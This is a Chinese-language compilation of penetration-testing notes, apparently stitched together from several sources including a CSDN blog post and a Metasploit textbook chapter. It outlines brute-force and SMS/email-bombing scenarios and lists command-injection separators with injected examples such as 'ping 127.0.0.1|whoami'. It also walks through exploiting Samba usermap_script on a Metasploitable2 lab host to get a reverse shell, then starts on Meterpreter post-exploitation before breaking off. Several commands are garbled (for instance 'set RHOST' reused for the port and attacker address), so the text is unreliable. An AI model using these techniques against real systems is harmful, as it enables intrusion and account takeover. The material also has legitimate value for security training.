场景1:账户检测 场景2:指定口令爆破用户名 场景3:密码爆破 1.自定义密码2.厂商特色口令生成3.加密密码暴力破解4.弱文件的后台爆破5.webshell密码爆破6.辅助功能 场景4:登录验证码爆破 1.验证码绕过2.简单验证码识别3.高模糊度验证码识别 场景5:短信邮箱验证码爆破 场景6:短信邮箱验证码爆破 1.关键参数遍历2.批量注册 3.一套组合拳(也可关联爬虫) 场景7:爆破关联 1.数据重放-短信炸弹2.数据重放-邮箱炸弹 3.子域名爆破4.子目录,弱文件爆破 针对暴力破解漏洞的修复,笔者给出以下两点建议
如果用户登录次数超过设置的阀值,则锁定账号。 如果某个IP登录次数超过设置的阀值,则锁定IP 锁定IP存在的问题是:如果多个用户使用同一个IP,则会造成其他用户也不能登录
2.介绍命令执行漏洞 命令执行漏洞应用有时需要调用一些执行系统命令的函数,如PHP 中的system、exec、shell_exec、passthru、popen、 proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意 系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令 执行漏洞。简单来说就是:”靠执行脚本代码调用操作系统命令“
下面展示了常用的管道符
Windows系例支持的管道符
“|”:直接执行后面的语句。例如:ping127.0.0.1|whoami “”:如果前面执行的语句执行出错,则执行后面的语句,前面的语 能为假。例如:ping2/whoami。 “&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假, 例如:ping127.0.0.1&whoami。 “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面语句只能为真。例如:ping127.0.0.1&&whoami。 Linux系统支持的管道符
“;”:执行完前面的语句再执行后面的。例如:ping127.0.0.1;whoami。 “|”:显示后面语句的执行结果。例如:ping127.0.0.1|whoami。 “Ⅱ”:当前面的语句执行出错时,执行后面的语句。例如:ping1whoami。 “&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。 如:ping 127.0.0.1&whoami。 “&&”;如果前面的语句为假则直接出错,也不执行后面的,前面的语句 为真。例如:ping127.0.0.1&&whoami。 ·shell命令拼接
& &A,表示将命令A放入后台运行 && A&&B,表示A命令语句执行成功,然后执行B命令语句 | A|B,表示A命令语句的输出,作为B命令语句的输入执行 || A||B,表示A命令语句执行失败,然后才执行B命令语句 ; 适用于Linux服务器,命令按照顺序(从左到右)被执行
———————————————— 版权声明:本文为CSDN博主「jxy191021」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/jxy191021/article/details/123923476
5.1 Metasploit简介 本章中示例以Kali操作系统为基础,该操作系统预装Metasploit及在其上运行工具的第三方工具。Kali系统的下载地址为http://www.kali.org/downloads/。
Metasploit框架( Metasploit Framework,MsF)旨在方便渗透测试,具有很好的扩展性,便于渗透测试人员开发、使用定制的工具模板。
Metasploit可向后端模块提供多种用来控制测试的接口(如控制台、Web、CLD)。Metasploit还有第三方程序的接口,例如Nmap、SQLMAP等,可以直接在控制台接口里使用,要访问该界面,需要在命令行下输入msfconsole,MSF的启动界面如图5-1所示。
知识点:在使用Kali操作系统时应注意及时更新源,就像平时要及时更新手机Ap个道理。更新命令有 apt-get update、 apt-get upgrade和 lapt-get dist-upgrade。
apt- get update:只更新软件包的索引源,作用是同步源的软件包的素引信息,从而进行软件更新。
oapt- get upgrade:升级系统上安装的所有软件包,若更新失败,所涉及的包会保持更新之前的状态
apt- get dist-upgrade:升级整个 Linux系统,例如从 Kali Linux1.0.1升级到Kali,Linux1.0.2(不仅能够升级所有已安装的软件包,而且会处理升级过程中可能出现的软件冲突。某些情况下,它的部分升级过程需要人工参与)。
5.2 Metasploit基础 5.2.1专业术语 MSF框架由多个模块组成,各个模块及其具体的功能如下。
1、 Auxiliaries(辅助模块)
该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、探、指纹识别等相关功能以辅助渗透测试。
2. Exploit(漏洞利用模块)
漏洞利用是指由透测试者利用一个系统、应用或者服务中的安全漏洞进行的攻击行为。流的透攻击技术包括缓冲区溢出、Web应用程序攻击,以及利用配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序,用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码。
3.Payload(攻击载荷模块)
攻击载荷是我们期望目标系统在被滲透攻击之后完成实际攻击功能的代码,成功滲透目标后用于在目标系统上运行任意命令或者执行特定代码,在 Metasploit框架中可以自由地选择传送和植入。攻击载荷也可能是简单地在目标操作系统上执行一些命令,如添加用户账号等。
4.Post(后期渗透模块)
该模块主要用于在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、实施跳板攻击等。
5. Encoders(编码工具模块)
该模块在滲透测试中负责免杀,以防止被杀毒软件、防火墙、IDS及类似的安全软件检测出来。
5.2.2渗透攻击步骤 大致步骤如下:
扫描目标及系统,寻找可用漏洞。 选择并配置一个漏洞的利用模块。 选择并配置一个攻击载荷模块。 选择一个编码技术,用来绕过杀毒软件的查杀。 渗透攻击。 5.3 主机扫描 扫描和收集信息时渗透测试中的第一步,其主要目标是尽可能多地发现有关目标机器的信息。获取信息越多,渗透概率越大。主要关注点是目标机器IP地址、可用服务、开放端口等。
5.3.1使用辅助模块进行端口扫描 辅助模块是Metasploit的内置模块,首先利用search命令搜索有哪些可用端口模块。
图中所示扫描类型中,以TCP扫描模块举例。
输入use命令即可使用该漏洞利用模块,使用show options命令查看需要设置的参数,如图5-3.
在Required列中,被标记为yes的参数必须包含实际的值,其中RHOSTS设置待扫描的IP地址、PORTS设置扫描端口范围、THREADS设置扫描线程,线程数量越高,扫描的速度越多。使用set命令设置相应的参数,也可以使用unset命令取消 某个参数值的设置。如图5-4所示。
目标机器开了139、135、445三个端口。
知识点:其实还有两条可选命令--setg命令和unsetg命令。二者用于在 msfconsole中设置或者取消设置全局性的参数值,从而避免重复输入相同的值
5.3.2使用辅助模块进行服务扫描 在扫描目标机器上运行的服务时,有多种基于服务的扫描技术可供选择,例如 VNC、FTP、SMB等,只需执行特定类型的扫描就可以发现服务。
通过search命令搜索scanner可以发现大量的扫描模块,建议读者多尝试不同的辅助扫描模块,了解其用法。使用的步骤与使用端口扫描模块时的基本相同,这里就不演示了,附上一些常用的扫描模块。
5.3.3使用Nmap扫描 Nmap不仅可以用来确定目标网络上计算机的存活状态,而且可以扫描计算机的操作系统、开放端口、服务等。熟练掌握可以极大提高个人的渗透测试技术。
实际使用时,在msf命令提示符下输入nmap,就可以显示Nmap提供的扫描选项列表,如图5-5所示。
现在我们要获取目标主机的操作系统,输入nmap-O-Pn/-p0 URI命令,其中 Pn和-p0(数字0)参数的意思是不使用ping的方式,而且假定所有主机系统都是活动的,可以穿透防火墙,也可以避免被防火墙发现,如图5-6所示。
可以看到目标主机的操作系统是Windows 2021|7|8.1。
5.4漏洞利用 每个操作系统都会存在各种Bug。没用公布补丁的Bug就是所谓的0day漏洞。
下面就假设目标机是Metasploitable2,对Linux机器进行渗透攻击。(Metasploitable2虚拟系统是一个特别制作的Ubuntu操作系统,主要用于安全工具测试和演示常见的漏洞攻击。该虚拟系统兼容VMware、VirtualBox和其他虚拟平台,默认只开启一个网络适配器并且开启NAT和Host-Only。该工具可以在网站http:/ sourceforge.net/projects/metasploitable/files/Metasploitable2下载。)
首先对Linux目标机进行扫描,收集可用的服务信息。使用Nmap扫描并查看系统开放端口和相关的应用程序,如图5-7
收集到目标机相关信息后,为其选择正确的Exploit和合适的Payload。从扫描结果中发现主机运行着Samba 3.x服务。
输入msf>search samba命令搜索Samba的漏洞利用模块,并选择合适的漏洞利用模块。如图5-8。
然后Samba服务将返回漏洞利用模块的列表,按照各个漏洞被成功利用的相对难易度进行排序。为提高渗透成功率,这里选择“Excellent”进行接下来的渗透。有关漏洞的详细信息可以通过5-9所示的命令查看。
输入以下命令即可使用该漏洞利用模块。
Msf> use exploit/multi/samba/usermap_script
然后就可以看到Metasploit命令提示符msf>会变成msf exploit(usermap_script) >。
使用如图5-10所示的命令即可查看该漏洞利用模块下可供选择的攻击载荷模块,因为目标是Linux机器,因此一定要选择Linux的攻击载荷。
这里使用如图5-11所示的命令选择基础的cmd/unix/reverse反向攻击载荷模块。
设置被攻击主机IP地址,命令如下所示。
msf exploit (usermap_script) > set RHOST 192.168.172.134
设置漏洞利用的端口号,命令如下
msf exploit (usermap_script) > set RHOST 445
设置发动攻击主机IP地址,命令如下。
msf exploit (usermap_script) > set RHOST 192.168.172.136
设置完就可以使用如图5-12所示的命令再次确认参数是否已设置正确。
设置完所有参数变量后,输入攻击命令exploit或者run,如下所示,发动攻击。
msf exploit (usermap_script) > exploit
MSF发动攻击成功后会获取目标主机的Shell为了验证该Shell是目标主机的,可以查询主机名、用户名和IP地址,并与目标主机进行对比,如图5-13所示。
攻击成功后,可以看到在攻击机和目标机之间会建立一个Shell链接,渗透Windows系统的过程类似,唯一差别就是选择的漏洞模块和攻击载荷模块不一样,建议多尝试各种Exploit好人Payload的组合。
防御方法:Samba服务漏洞发生在 Sambal版本3.020-3.0.25rc3中,当使用非默认用户名映脚本配置时,通过指定一个用户名包含Shel元字符,攻击者可以执行任意命令。将 Samba升级到最新版本即可防御本漏洞。
5.5后渗透攻击:信息收集 成功地对目标机器攻击渗透后还可以做什么? Metasploitt提供了一个非常强大的后渗透工具-Meterpreter该工具具有多重功能,使后续的渗透入侵变得更容易获取目标机的 Meterpreter Shell后,就进入了 Metasplo最精彩的后期渗透利用阶段,后期渗透模块有200多个, Meterpreter有以下优势。
1.纯内存工作模式,不需要对磁盘进行任何写入操作。
2.使用加密通信协议,而且可以同时与几个信道通信。
3.在被攻击进程内工作,不需要创建新的进程。
4.易于在多进程之间迁移。
5.平台通用,适用于Windows、Linux、BSD系统,并支持Inter x86和Inter x64平台。
5.5.1进程迁移 在刚获得 Meterpreter Shell时,该Shel是极其脆弱和易受攻击的,例如攻击者可以利用览器漏洞攻陷目标机器,但攻击滲透后浏览器有可能被用户关闭。所以第步就是要移动这个Shel,把它和目标机中一个稳定的进程绑